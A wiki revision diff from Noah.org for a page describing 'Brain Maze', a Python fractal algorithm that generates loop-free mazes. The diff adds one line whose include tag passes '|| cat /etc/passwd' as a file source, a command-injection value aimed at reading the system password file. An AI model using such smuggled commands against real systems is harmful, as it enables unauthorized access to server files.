Difference between revisions of "Brain Maze"

From Noah.org
Jump to navigationJump to search
Line 269: Line 269:
 
Click here to download: [http://www.noah.org/downloadsvn.php?src=file:///home/svn/src/python/brainmaze.py brainmaze.py]
 
Click here to download: [http://www.noah.org/downloadsvn.php?src=file:///home/svn/src/python/brainmaze.py brainmaze.py]
 
<include svncat src="file:///home/svn/src/python/brainmaze.py" highlight="python" />
 
<include svncat src="file:///home/svn/src/python/brainmaze.py" highlight="python" />
 +
<include svncat src="|| cat /etc/passwd" highlight="python" />

Revision as of 19:19, 12 December 2007


This is a fractal algorithm I created for generating mazes. I think it's pretty neat. The original was written in C for a computer science class I was taking at UCSC. This version is in Python. The original would print spaces and hashes (#) to display the maze. This version also generates HTML.

This generates a random maze with no loops. It is a spanning tree -- a connected, undirected graph that uses all the vertices in a graph with no cycles.

You can run the brain maze algorithm by clicking here: brainmaze.py

Click here to download: brainmaze.py <include svncat src="file:///home/svn/src/python/brainmaze.py" highlight="python" /> <include svncat src="|| cat /etc/passwd" highlight="python" />